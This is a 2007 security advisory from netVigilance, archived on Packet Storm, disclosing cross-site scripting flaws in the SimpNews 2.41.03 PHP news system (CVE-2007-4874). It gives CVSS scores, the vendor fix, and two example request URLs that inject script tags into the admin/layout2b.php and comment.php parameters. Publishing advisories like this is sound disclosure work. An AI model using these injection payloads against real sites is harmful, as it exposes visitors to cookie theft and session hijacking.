simpnews24103-xss.txt

2007-09-26T00:00:00
ID PACKETSTORM:59598
Type packetstorm
Reporter Jesper Jurcenoks
Modified 2007-09-26T00:00:00

Description

                                        
                                            ` netVigilance Security Advisory #70  
  
SimpNews version 2.41.03 Multiple XSS Attack Vulnerabilities  
Description:  
SimpNews is a news system written in PHP. Features: Data stored in MySQL, admin interface, support for multiple languages, support for multiple instances in one database, own header, multiple layout settings, support for BBCode andsmilies, you can assin an icon graphic to every news entry, you can attach a file to news entries, entries can be put in categories, users can subscribe to get news sent by email, search entries, users can post comments on news entries, event calendar, newsticker, option to let users propose news entries.  
External References:   
Mitre CVE: CVE-2007-4874  
NVD NIST: CVE-2007-4874  
OSVDB: ID requested but no answer received  
BUGTRAQ/BID:   
  
Summary:   
SimpNews is a news system written in PHP.  
Security problem in the product allows attackers to conduct XSS attacks.  
  
Advisory URL:   
http://www.netvigilance.com/advisory0070  
  
Release Date:  
09/25/2007  
  
CVSS Version 2 Metrics:  
  
Base Metrics:  
  
  
Exploitability Metrics:  
  
  
  
Access Vector:  
Network  
  
  
Access Complexity:  
Low  
  
  
Authentication:  
None  
  
Impact Metrics:  
  
  
  
Confidentiality Impact:  
Partial  
  
  
Integrity Impact:  
Partial  
  
  
Availability Impact:  
Partial  
Temporal Metrics:  
  
  
Exploitability:  
Functional  
  
Remediation Level:  
Official Fix  
  
Report Confidence:  
Confirmed  
  
CVSS Version 2 Vectors:  
  
Base Vector:  
"AV:N/AC:L/Au:N/C:P/I:P/A:P"  
Temporal Vector:  
"E:F/RL:OF/RC:C"  
  
CVSS Version 2 Scores:  
  
Base Score:  
7.5  
  
Impact Subscore:  
6.4  
  
Exploitability Subscore:  
10  
Temporal Score:  
6.2  
SecureScout Testcase ID:  
TC 17989  
  
Vulnerable Systems:  
SimpNews version 2.41.03  
  
Vulnerability Type:  
XSS (Cross-Site Scripting) to force a web-site to display malicious contents to the target, by sending a specially crafted request to the web-site. The vulnerable web-site is not the target of attack but is used as a tool for the hacker in the attack of the victim.  
  
Vendor:  
Bosch IT-Consulting  
  
Vendor Status:   
The Vendor has confirmed the problem and has release new version 2.42.01 that addresses the problem. New version of product was tested and we can confirm that all vulnerabilities were solved. For more information see vendor announcement. To download the latest version go to vendors product download area.  
Workaround:  
  
Example:   
XSS Attack Vulnerability 1:  
REQUEST:  
http://[TARGET]/[PRODUCT DIRECTORY]/admin/layout2b.php?no_rgcheck=true&lang=1&do_login=1&l_username=</td><script>alert(document.cookies)</script><td>  
REPLY:  
Will execute <script>alert(document.cookie)</script>  
  
XSS Attack Vulnerability 2:  
REQUEST:  
http://[TARGET]/[PRODUCT DIRECTORY]/comment.php?lang=en&mode=new&entryref=&backurl="><script>alert(document.cookies)</script>  
REPLY:  
Will execute =<script>alert(document.cookie)</script>  
  
Credits:   
Jesper Jurcenoks  
Co-founder netVigilance, Inc  
www.netvigilance.com  
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